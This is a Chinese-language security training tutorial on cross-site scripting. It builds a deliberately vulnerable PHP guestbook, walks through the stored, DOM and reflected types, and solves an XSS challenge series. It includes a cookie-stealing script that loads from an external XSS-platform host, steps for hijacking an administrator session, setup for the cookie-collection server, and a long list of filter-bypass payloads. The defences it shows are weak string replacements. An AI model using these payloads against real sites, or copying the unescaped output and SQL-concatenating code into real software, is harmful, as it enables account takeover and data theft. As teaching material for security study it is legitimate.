Files
2025-08-27 14:13:17 +08:00

959 lines
31 KiB
Markdown
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 05.XSS
XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSSXSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web网站里面供给其它用户访问当用户访问到有恶意代码的网页就会产生 xss 攻击。
## 1. XSS初体验
我们写一个留言板的网站
### 1.1 创建数据库
```sql
mysql> create database message;
Query OK, 1 row affected (0.00 sec)
mysql> use message
Database changed
```
### 1.2 创建留言板的表
```sql
mysql> create table board(date varchar(200),content varchar(200))DEFAULT CHAR set utf8;
Query OK, 0 rows affected (0.01 sec)
```
### 1.3 网页源码
```php
<!DOCTYPE HTML>
<?php
//留言处理
if(isset($_POST['message']))
$getMessage = $_POST['message'];
else {
$getMessage = "";
}
//全局配置
date_default_timezone_set('Asia/Shanghai');
$date = date("Y-m-d H:i:s");
//数据库配置
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'usbw'; // mysql用户名密码
$dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
mysqli_query($conn, 'set names utf8');
mysqli_select_db($conn,$dbname);
if($getMessage != ""){
$sql = "insert into board(date, content) values('$date','$getMessage')";
$retval = mysqli_query( $conn, $sql );
}
?>
<html>
<head>
<meta charset="utf-8" />
<title>留言板</title>
</head>
<body>
<h1>英格科技留言板</h1>
<table border=1 width = 100%>
<tr>
<td>日期</td>
<td>内容</td>
</tr>
<?php
// 获取任务
$sql = "select * from board ";
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{
die('无法读取数据: ' . mysqli_error($conn));
}
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
{
echo "<tr><td> {$row['date']}</td> ".
"<td>{$row['content']} </td> ".
"</tr>";
}
?>
</table>
<form action="index.php" method="post">
内容:
<textarea id="message" name="message"></textarea>
<br />
<input type="submit" value="提交"></input>
</form>
</body>
</html>
```
### 1.4 测试功能
![image-20240127093501488](05.XSS/image-20240127093501488.png)
## 2. XSS原理
在打开的留言板网页中按下F12我们可以看到网页的前端源码
![image-20240127093505946](05.XSS/image-20240127093505946.png)
我们可以看到这部分的代码为
```html
<td>hello world </td>
```
其中hello world部分为我们自己提交的内容如果我们提交的内容为`</td><script>alert("hello world")</script><td>`,那么最终的代码就变成
```html
<td></td> <script>alert("hello world")</script> <td></td>
```
由此可以看出,我们提交的`<script>`标签中的代码逃逸到了整个网页的代码中,而不仅仅只是一个字符串了
当我们提交之后,就可以发现浏览器竟然执行了我们的弹窗请求,将`hello world`以弹窗的形式显示出来
![image-20240127093511295](05.XSS/image-20240127093511295.png)
点击确定,再次查看网页源代码,可以看到我们的代码确实已经跑到表格之外
![image-20240127093517989](05.XSS/image-20240127093517989.png)
我们先清空留言板数据库
```sql
mysql> truncate table board;
Query OK, 0 rows affected (0.01 sec)
```
浏览器的容器能力比较强,我们根本不需要去闭合前后的标签,浏览器只要看到`<xxx>`这样的标签,就会自动认为这个是代码的一部分,而不是显示的字符串,在留言板中插入如下代码一样能触发`xss`
```html
<script>alert("hello world")</script>
```
![image-20240127093521579](05.XSS/image-20240127093521579.png)
![image-20240127093524298](05.XSS/image-20240127093524298.png)
## 3. XSS种类
### 3.1 存储型xss
存储型xss是将用户提交的xss代码保存到数据库上当有人访问页面的时候服务器把数据库里面的xss代码查询出来插入网页中交给用户而用户的浏览器会执行其中的代码
![image-20240127093528737](05.XSS/image-20240127093528737.png)
![image-20240127093533476](05.XSS/image-20240127093533476.png)
存储型xss是持久存储的每次访问都会被触发
### 3.2 DOM型xss
DOM树
![image-20240127093536095](05.XSS/image-20240127093536095.png)
通过JavaScript可以重构HTML文档比如我们可以让图片在加载错误的时候执行我们指定的js脚本相当于图片的标签就是js的标签
在留言板中提交如下内容,意思是当图片无法加载的时候,就执行后面的代码
```html
<img src="xxx" onerror=alert("xss")>
```
可以看到图片裂开了然后就触发了js代码
![image-20240127093539788](05.XSS/image-20240127093539788.png)
### 3.3 反射型xss
反射型XSS效果与存储型XSS和DOM型XSS差不多唯一的差别是反射型XSS直接把GET中的参数显示在网页上没有经过数据库而存储型XSS是先存储到服务器上再回显到网页的。
![image-20240127093543256](05.XSS/image-20240127093543256.png)
#### 3.3.1 写一个搜索功能
在上面的留言板后面加上一个搜索功能
```php
<!-- 搜索功能 -->
<?php
$dbhost = 'localhost'; // mysql服务器主机地址
$dbuser = 'root'; // mysql用户名
$dbpass = 'usbw'; // mysql用户名密码
$dbname = 'message';
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
if (isset($_GET['search']))
$getSearch = $_GET['search'];
else {
$getSearch = "";
}
?>
<h1>"<?php echo $getSearch;?>"搜索结果</h1>
<table border=1 width=100%>
<tr>
<td>日期</td>
<td>内容</td>
</tr>
<?php
// 获取任务
$sql = "select * from board where content like '%$getSearch%'";
$retval1 = mysqli_query($conn, $sql);
if (!$retval1) {
die('无法读取数据: ' . mysqli_error($conn));
}
while ($row = mysqli_fetch_array($retval1, MYSQLI_ASSOC)) {
echo "<tr><td> {$row['date']}</td> " .
"<td>{$row['content']} </td> " .
"</tr>";
}
?>
<?php
mysqli_close($conn);
?>
</table>
<form action="index.php" method="get">
搜索:
<textarea id="search" name="search"></textarea>
<br />
<input type="submit" value="搜索"></input>
</form>
```
#### 3.3.2 测试搜索功能
![image-20240127093549116](05.XSS/image-20240127093549116.png)
#### 3.3.3 反射型xss原理
在搜索界面按下f12查看源代码
![image-20240127093552312](05.XSS/image-20240127093552312.png)
这个双引号中的`12`是我们自己输入的所以可以对代码进行闭合由于前面讲过浏览器对于js标签会自动识别执行所以我们只需要搜索如下内容就能触发反射型xss
```html
<script>alert("hello world")</script>
```
![image-20240127093558392](05.XSS/image-20240127093558392.png)
![image-20240127093602346](05.XSS/image-20240127093602346.png)
这个地址栏的地址可以复制给别人点击,这个搜索的内容是不会保存在数据库中
```html
http://localhost:8081/index.php?search=%3Cscript%3Ealert%28%22hello+world%22%29%3C%2Fscript%3E
```
反射型xss需要构造链接并且让被攻击者自己点击链接所以需要与社会工程学配合才可以达到最好效果
## 4. XSS的危害
- 盗取各种用户账号
- 窃取用户Cookie资料冒充用户身份进入网站
- 劫持用户会话,执行任意操作
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
- 攻击者能在一定限度内记录用户的键盘输入
### 4.1 cookie
Cookie技术通过在请求和响应报文中写入cookie信息来控制客户端的状态
- Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存Cookie客户端下次再向服务器发送请求时会自动携带cookie信息一起发送给服务器
- 服务器发现客户端发送过来的cookie后会去检查是从哪一个客户端发来的连接请求然后对比服务器上的记录最后得到之前的状态信息,这时,就可为客户端继续提供有状态化的服务了。
### 4.2 盗取客户端cookie实战
一个留言板的网站
![image-20240127093606330](05.XSS/image-20240127093606330.png)
#### 4.2.1 XSS平台准备
xss平台可以自己搭建也可以使用别人搭建好的甚至js学习的不错的可以不需要xss平台直接将xss得到的信息发到邮箱
本次案例使用的是xss平台(此平台搭建方法见下一节)
- 在xss平台上创建项目
![image-20240127093611542](05.XSS/image-20240127093611542.png)
- 选择需要的功能模块
![image-20240127093614133](05.XSS/image-20240127093614133.png)
- 获取xss脚本
![image-20240127093617539](05.XSS/image-20240127093617539.png)
```html
<script src=http://xss.iproute.cn/0Esg1g?1632111988></script>
```
#### 4.2.2 插入xss代码
在留言板中进行留言留言的内容中必须包含xss脚本
![image-20240127093620397](05.XSS/image-20240127093620397.png)
提交成功之后,我们就可以在留言板界面看到这条留言,可以发现我们夹带在其中的代码已经被执行了
![image-20240127093623450](05.XSS/image-20240127093623450.png)
在xss平台上我们也可以看到这个游客身份的cookie已经被获取
![image-20240127093626130](05.XSS/image-20240127093626130.png)
下面等待管理员上线
#### 4.2.3 模拟管理员上线
这个网站的后台是
```
https://d20.s.iproute.cn/index.php?c=adminlogin
```
![image-20240127093629169](05.XSS/image-20240127093629169.png)
登录成功后,我们查看到这条留言
![image-20240127093631855](05.XSS/image-20240127093631855.png)
此时管理员的cookie已经被提交到xss平台上面我们已经获取到管理员的cookie以及后台的地址
![image-20240127093634770](05.XSS/image-20240127093634770.png)
#### 4.2.4 盗用管理员cookie登录后台
这边使用cookie修改器强行修改cookie的内容然后登录后台
![image-20240127093637920](05.XSS/image-20240127093637920.png)
修改玩cookie之后直接发起访问
![image-20240127093640602](05.XSS/image-20240127093640602.png)
哪怕直接修改管理员密码都是可以的
![image-20240127093644196](05.XSS/image-20240127093644196.png)
### 4.3 xss平台搭建
windows下就可以搭建xss平台但是xss平台以后工作中使用都是要有公网环境的而公网服务器大都是Linux系统所以此处建议熟悉一下Linux下的搭建过程不要去随意追求省事。
#### 4.3.1 安装nginx
```bash
[root@localhost ~]# vim /etc/yum.repos.d/nginx.repo
[nginx]
name=nginx repo
baseurl=http://nginx.org/packages/centos/7/$basearch/
gpgcheck=0
enabled=1
[root@localhost ~]# yum -y install nginx
```
#### 4.3.2 修改nginx用户
为了方便后面源码文件的权限管理将nginx和php都设置为www用户
```bash
[root@localhost ~]# groupadd www -g 666
[root@localhost ~]# useradd www -u 666 -g 666 -s /sbin/nologin -M
[root@localhost ~]# sed -i '/^user/c user www;' /etc/nginx/nginx.conf
```
#### 4.3.3 启动nginx并加入开机自启
```bash
# 启动nginx服务
[root@localhost ~]# systemctl start nginx
# 设置nginx开机自启动
[root@localhost ~]# systemctl enable nginx
```
#### 4.3.4 防火墙配置
```bash
# 关闭防火墙(不推荐)
[root@localhost ~]# systemctl stop firewalld
[root@localhost ~]# systemctl disable firewalld
# 防火墙放行指定的协议
[root@localhost ~]# firewall-cmd --add-service=http --permanent
success
[root@localhost ~]# firewall-cmd --reload
success
```
#### 4.3.5 使用第三方扩展源安装php7.1
```bash
[root@localhost ~]# vim /etc/yum.repos.d/php.repo
[php]
name = php Repository
baseurl = http://repo.webtatic.com/yum/el7/x86_64/
gpgcheck = 0
# 安装epel扩展软件仓库
[root@localhost ~]# yum -y install epel-release
[root@localhost ~]# yum -y install php71w php71w-cli php71w-common php71w-devel php71w-embedded php71w-gd php71w-mcrypt php71w-mbstring php71w-pdo php71w-xml php71w-fpm php71w-mysqlnd php71w-opcache php71w-pecl-memcached php71w-pecl-redis php71w-pecl-mongodb
```
#### 4.3.6 修改php-fpm用户为www
```bash
[root@localhost ~]# sed -i '/^user/c user = www' /etc/php-fpm.d/www.conf
[root@localhost ~]# sed -i '/^group/c user = www' /etc/php-fpm.d/www.conf
```
#### 4.3.7 启动php-fpm
```bash
[root@localhost ~]# systemctl start php-fpm
[root@localhost ~]# systemctl enable php-fpm
```
#### 4.3.8 修改nginx配置文件
主要让nginx支持php的fastcgi
```bash
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
# 将下面这一行从location中移动到server下
root /usr/share/nginx/html;
# 在最后一行的大括号前,加上下面的代码
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
# 重启nginx让配置生效
[root@localhost ~]# systemctl restart nginx
```
测试是否能正常运行php
![image-20240127093652367](05.XSS/image-20240127093652367.png)
#### 4.3.9 安装mariadb数据库
```bash
[root@localhost ~]# yum install mariadb-server mariadb -y
[root@localhost ~]# systemctl start mariadb
[root@localhost ~]# systemctl enable mariadb
[root@localhost ~]# mysqladmin password '123456'
[root@localhost ~]# mysql -uroot -p123456
```
#### 4.3.10 创建xssplatform数据库
```sql
MariaDB [(none)]> create database xssplatform;
Query OK, 1 row affected (0.00 sec)
MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| test |
| xssplatform |
+--------------------+
5 rows in set (0.00 sec)
```
#### 4.3.11 配置rewrite规则
```bash
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
# 修改location里面的内容如下
location / {
index index.php index.html index.htm;
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;
rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;
}
# 重启nginx让配置生效
[root@localhost ~]# systemctl restart nginx
```
#### 4.3.12 部署xssplatform
清空`/usr/share/nginx/html`目录下的所有文件
上传xssplatform到`/usr/share/nginx/html`目录下
```bash
[root@localhost ~]# cd /usr/share/nginx/html/
[root@localhost html]# rm -rf *
[root@localhost html]# unzip xssplatform.zip
[root@localhost html]# chown -R www.www /usr/share/nginx/html
[root@localhost html]# setenforce 0
```
![image-20240127093658405](05.XSS/image-20240127093658405.png)
![image-20240127093701535](05.XSS/image-20240127093701535.png)
![image-20240127093704366](05.XSS/image-20240127093704366.png)
![image-20240127093707426](05.XSS/image-20240127093707426.png)
![image-20240127093710325](05.XSS/image-20240127093710325.png)
## 5. XSS防范
### 5.1 替换双引号
可以添加对提交语句的过滤比如如果遇到引号就用html的特殊字符进行替换
| HTML 原代码 | 显示结果 | 描述 |
| ----------- | -------- | ---------------------- |
| `&lt;` | < | 小于号或显示标记 |
| `&gt;` | > | 大于号或显示标记 |
| `&amp;` | & | 可用于显示其它特殊字符 |
| `&quot;` | “ | 引号 |
| `&reg;` | ® | 已注册 |
| `&copy;` | © | 版权 |
| `&trade;` | ™ | 商标 |
| `&ensp;` | | 半个空白位 |
| `&emsp;` | | 一个空白位 |
| `&nbsp;` | | 不断行的空白 |
替换的php代码
```php
$getMessage = str_replace("\"", "&quot;",$getMessage);
```
提交正常的带引号的评论进行测试
![image-20240127093716616](05.XSS/image-20240127093716616.png)
提交xss弹窗语句发现双引号已经被替换
![image-20240127093719410](05.XSS/image-20240127093719410.png)
提交不用双引号的xss代码
```html
<script>alert(/hello world/)</script>
```
![image-20240127093724159](05.XSS/image-20240127093724159.png)
### 5.2 替换script
替换script就可以让代码执行不起来了再加上一个替换语句
```javascript
$getMessage = str_replace("script", "",$getMessage);
```
再次提交xss代码发现script代码已经被吞
![image-20240127093731262](05.XSS/image-20240127093731262.png)
尝试提交下面的代码绕过
```html
<sCRiPt>alert(/hello world/)</ScRIpT>
```
大小写绕过成功
![image-20240127093734541](05.XSS/image-20240127093734541.png)
假如我们将大小写全部给匹配上,我们依旧可以利用双写法绕过
```html
<scscriptript>alert(/hello world/)</scrscriptipt>
```
不用`<script>`一样能触发xss
```html
<img src="x" onerror=alert(/xss/)>
```
## 6. XSS挑战之旅
### 6.1 Level-1
在“name=”后面写什么,网页就显示什么。
![image-20240127093739206](05.XSS/image-20240127093739206.png)
查看源码,发现写入的数据在<>标签的外面那么name的值直接换成JS`<script>alert(1)</script>`
![image-20240127093744059](05.XSS/image-20240127093744059.png)
![image-20240127093748068](05.XSS/image-20240127093748068.png)
### 6.2 Level-2
在搜索框中输入`<script>alert(1)</script>`,发现没有弹窗弹出,查看网页源码,发现<>都被过滤掉了
![image-20240127093752389](05.XSS/image-20240127093752389.png)
![image-20240127093755637](05.XSS/image-20240127093755637.png)
但value里面没有过滤掉闭合value的值`"><script>alert(1)</script>`成功弹出窗口
![image-20240127093758704](05.XSS/image-20240127093758704.png)
### 6.3 Level-3
在搜索框中输入`<script>alert(1)</script>`,发现没有弹窗弹出,查看网页源码,发现<>都被转义了
![image-20240127093802149](05.XSS/image-20240127093802149.png)
![image-20240127093805672](05.XSS/image-20240127093805672.png)
`<script>alert(1)</script>`进行编码后尝试
![image-20240127093809033](05.XSS/image-20240127093809033.png)
发现还是被转译了
![image-20240127093812087](05.XSS/image-20240127093812087.png)
由于<>都被转义了过滤了可以利用input标签的其他属性进行窗口弹出
`' onfocus=javascript:alert(1) '`
![image-20240127093815246](05.XSS/image-20240127093815246.png)
在源码里直接修改input标签里的内容也能实现窗口弹出这种方法对有input标签的题目都有用。
这种方法在CTF中可以用到实际的利用会比较困难。
![image-20240127093818624](05.XSS/image-20240127093818624.png)
### 6.4 Level-4
在搜索框中输入`<script>alert(1)</script>`,查看网页源码,发现<>被转义和过滤掉了。和Level-3一样可以利用input标签的其他属性进行窗口弹出
`" onfocus=javascript:alert(1) "`
![image-20240127093825766](05.XSS/image-20240127093825766.png)
### 6.5 Level-5
在搜索框中输入`<script>alert(1)</script>`查看源码发现script被转义成scr_ipton被转义成o_n但javascript没有被转义。
![image-20240127093830609](05.XSS/image-20240127093830609.png)
输入`"><a href=javascript:alert(1)>点我啊</a>`
![image-20240127093834209](05.XSS/image-20240127093834209.png)
### 6.6 Level-6
在搜索框中输入`<script>alert(1)</script>`等代码。发现转义了script、on、href、src等关键词。
![image-20240127093839237](05.XSS/image-20240127093839237.png)
![image-20240127093844350](05.XSS/image-20240127093844350.png)
![image-20240127093848509](05.XSS/image-20240127093848509.png)
尝试大小写绕过:`" ><sCRipt>alert(1)</script>`
![image-20240127093854134](05.XSS/image-20240127093854134.png)
当然使用万能的修改Input源码也是可以触发的
### 6.7 Level-7
发现过滤了很多关键词:
```
<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:
```
![image-20240127093959660](05.XSS/image-20240127093959660.png)
尝试双写script绕过
`" ><sCRsCRiptipt>alert(1)</scrscriptipt>`
![image-20240127094005224](05.XSS/image-20240127094005224.png)
### 6.8 Level-8
输入`<script>alert(1)</script>`,发现输入的内容在a标签的href内。
![image-20240127094010989](05.XSS/image-20240127094010989.png)
在网址后面加javascript:alert(1)变成javascr_ipt:alert(1),大小写绕过没用
![image-20240127094014685](05.XSS/image-20240127094014685.png)
利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数将代码隔开。如javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性,成功绕过
前面在SQL注入绕过阶段就讲过空字符绕过回顾一下
| 编码 | 空格字符 |
| ---- | ----------------- |
| %09 | TAB键(水平制表符) |
| %0a | 新的一行 |
| %0c | 新的一页 |
| %0d | return功能 |
| %0b | TAB键(垂直制表符) |
| %a0 | 空格 |
![image-20240127094018810](05.XSS/image-20240127094018810.png)
### 6.9 Level-9
输入javascript:alert(1)查看源码显示“链接不合法”尝试输入正常的链接http://127.0.0.1显示正常
![image-20240127094022169](05.XSS/image-20240127094022169.png)
![image-20240127094025820](05.XSS/image-20240127094025820.png)
疑似检测字符串是否存在http://,所以写一个不是网址的字符串
`hellohttp://world`
![image-20240127094029060](05.XSS/image-20240127094029060.png)
输入`javas%0acript:alert(1) <!-- http:// -->`
或者`javas%0acript:alert(1) // http:// `
![image-20240127094032750](05.XSS/image-20240127094032750.png)
### 6.10 Level-10
使用万能的input方法...当然不建议,只是带大家回顾一下(*╯3╰)
![image-20240127094036439](05.XSS/image-20240127094036439.png)
观察源码发现有个form表单然后默认是GET提交的方式里面有三个被隐藏的input我们尝试一个个的手动提交这些变量名结果发现t_sort会被携带在value中
![image-20240127094040014](05.XSS/image-20240127094040014.png)
提交一下t_sort的值
![image-20240127094042723](05.XSS/image-20240127094042723.png)
发现出现在value中了
![image-20240127094045938](05.XSS/image-20240127094045938.png)
构建攻击内容
`?t_sort=1" onfocus=alert(1) type=“text”`
![image-20240127094049672](05.XSS/image-20240127094049672.png)
查看一下提交之后的源码
![image-20240127094054319](05.XSS/image-20240127094054319.png)
### 6.11 Level-11
提交`?t_sort=1" onfocus=alert(1) type=“text”`发现已经讲特殊符号实体化在前端源码中发现了新线索就是这个t_ref疑似referer
![image-20240127094057650](05.XSS/image-20240127094057650.png)
尝试使用修改请求中的referer然后发现填写的内容出现在了value中
![image-20240127094100639](05.XSS/image-20240127094100639.png)
![image-20240127094105159](05.XSS/image-20240127094105159.png)
构造攻击语句
`?t_sort=1" onfocus=alert(1) type=“text”`
![image-20240127094114390](05.XSS/image-20240127094114390.png)
### 6.12 Level-12
打开源码发现ua那就和Level-11的方式一样了
![image-20240127094117885](05.XSS/image-20240127094117885.png)
![image-20240127094123053](05.XSS/image-20240127094123053.png)
### 6.13 Level-13
与11和12一样
![image-20240127094125830](05.XSS/image-20240127094125830.png)
查询到cookie的名称为user
![image-20240127094129701](05.XSS/image-20240127094129701.png)
提交攻击语句
![image-20240127094133742](05.XSS/image-20240127094133742.png)
### 6.14 Level-14
原版第14关是无法正常工作的这边英格已经将代码补齐了这关是考察图片的exif信息会导致xss
可以看到会显示照片的作者在网页上
![image-20240127094141153](05.XSS/image-20240127094141153.png)
找张图片修改作者的信息
![image-20240127094145144](05.XSS/image-20240127094145144.png)
将图片传上去就可以触发xss
![image-20240127094148049](05.XSS/image-20240127094148049.png)
### 6.15 Level-15
这关考察的是AngularJS的ng-include指令可以在源码中看到引入了angularjs并且页面中存在ng-include
关于ng-include的指令可以参考[https://www.runoob.com/angularjs/ng-ng-include.html](https://www.runoob.com/angularjs/ng-ng-include.html)
![image-20240127094151464](05.XSS/image-20240127094151464.png)
我们引入第一关的页面
![image-20240127094155119](05.XSS/image-20240127094155119.png)
利用第一关的xss
![image-20240127094200168](05.XSS/image-20240127094200168.png)
### 6.16 Level-16
先试试`<script>alert(1)</script>`发现script被替换为&nbsp
![image-20240127094204865](05.XSS/image-20240127094204865.png)
不使用script换成`<img src=1 onerror=alert(1)>`,发现空格被替换
![image-20240127094208462](05.XSS/image-20240127094208462.png)
使用%0a替代空格
`<img%0asrc=1%0aonerror=alert(1)>`
![image-20240127094212331](05.XSS/image-20240127094212331.png)
### 6.17 Level-17
尝试修改一下变量值可以看到会被填到src部分并且src没有引号不需要闭合
![image-20240127094216080](05.XSS/image-20240127094216080.png)
传入`<script>alert(1)</script>`进行测试,不能使用`<`或者`>`符号
![image-20240127094223833](05.XSS/image-20240127094223833.png)
传入`onclick=alert(1)`进行测试,发现前面没有空格隔开不行
![image-20240127094227216](05.XSS/image-20240127094227216.png)
传入`%20onclick=alert(1)`,进行测试,但是无法点击触发
![image-20240127094231343](05.XSS/image-20240127094231343.png)
修改为`%20onmouseover=alert(1)`,鼠标滑过成功触发
![image-20240127094237311](05.XSS/image-20240127094237311.png)
### 6.18 Level-18
和17关一样
`%20onmouseover=alert(1)`
![image-20240127094240360](05.XSS/image-20240127094240360.png)
### 6.19 Level-19
flash漏洞鉴于现在flash已经全面淘汰此漏洞没有研究价值
下图是payload但是浏览器已经无法加载flash了所以没有触发如果以后遇到有flash的页面的话可以尝试去找找flash的通用漏洞。
![image-20240127094246275](05.XSS/image-20240127094246275.png)
### 6.20 Level-20
同Level-19漏洞已过时
## 7. XSS绕过
### 7.1 a标签
```html
#javascript协议
<a href=javascript:alert(1)>点我啊</a>
# data协议
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>
# url编码的data协议
<a    href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
# 另两种方式实现
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>点我</math>
```
### 7.2 script标签
```html
# 直接弹窗
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>
# javascript协议编码
<script>alert(String.fromCharCode(49))</script>
# 如果输出是在setTimeout里我们依然可以直接执行alert(1)
<script>setTimeout('alert(1)',0)</script>
```
### 7.3 button标签
```html
# 点击弹窗
<button/onclick=alert(1) >点我</button>
# 不需要点击就能弹窗
<button onfocus=alert(1) autofocus>
```
### 7.4 p标签
```html
# 可以直接使用事件触发
<p/onmouseover=alert(1)>点我</p>
```
### 7.5 img标签
```html
# 可以使用事件触发
<img src=x onerror=alert(1)>
```
### 7.6 body标签
```html
# 事件触发
<body onload=alert(1)>
# onscroll 事件在元素滚动条在滚动时触发,即页面存在很多内容,需要滚动才能看到下面的内容,就会触发
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
```
### 7.7 var标签
```html
# 事件触发,一般是用不需交互的事件比如鼠标移动等
<var onmousemove=alert(1)>M</var>
```
### 7.8 div标签
```html
# 事件触发
<div/onclick='alert(1)'>X</div>
```
### 7.9 input标签
```html
和button一样通过autofocus可以达到无需交互即可弹窗的效果。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
```
### 7.10 select标签
```html
<select onfocus=javascript:alert(1) autofocus>
```
### 7.11 textarea标签
```html
<textarea onfocus=javascript:alert(1) autofocus>
```
### 7.12 keygen标签
```html
<keygen onfocus=javascript:alert(1) autofocus>
```
### 7.13 frameset标签
```html
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
```
### 7.14 svg标签
```html
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
```
### 7.15 math标签
```html
<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1
```
### 7.16 video标签
```html
<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>
```
### 7.17 audio标签
```html
<audio src=x onerror=alert(47)>
```
### 7.18 embed标签
```html
<embed src=javascript:alert(1)>
```
### 7.19 meta标签
```html
测试发现文章标题跑到meta标签中那么只需要跳出当前属性再添加http-equiv=”refresh”就可以构造一个有效地xss payload。还有一个思路就是通过给http-equiv设置set-cookie进一步重新设置cookie来达成一些目的。
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
```
### 7.20 marquee标签
```html
<marquee onstart="alert('1')"></marquee>
```
### 7.21 isindex标签
```html
<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>
```
当过滤掉javascriptalert等常见关键词单引号双引号分号时可以尝试使用以上不同的标签插入达到弹出窗口的目的。
### 7.22 大小写绕过
`<sCript>`
### 7.23 alert被过滤
可以尝试prompt和confirm
### 7.24 空格被过滤
`<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>`
### 7.25 长度限制
```html
<q/oncut=alert(1)>//在限制长度的地方很有效
```
### 7.26 括号被过滤
可以使用throw来抛出数据
```html
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
```
### 7.27 过滤某些关键字
javascript 可以在属性中的引号内容中使用空字符、空格、TAB换行、注释、特殊的函数将代码行隔开。如javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert(),其中%0a表示换行。
### 7.28 编码绕过
十六进制编码、jsfuck编码、url编码、unicode编码
```html
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
```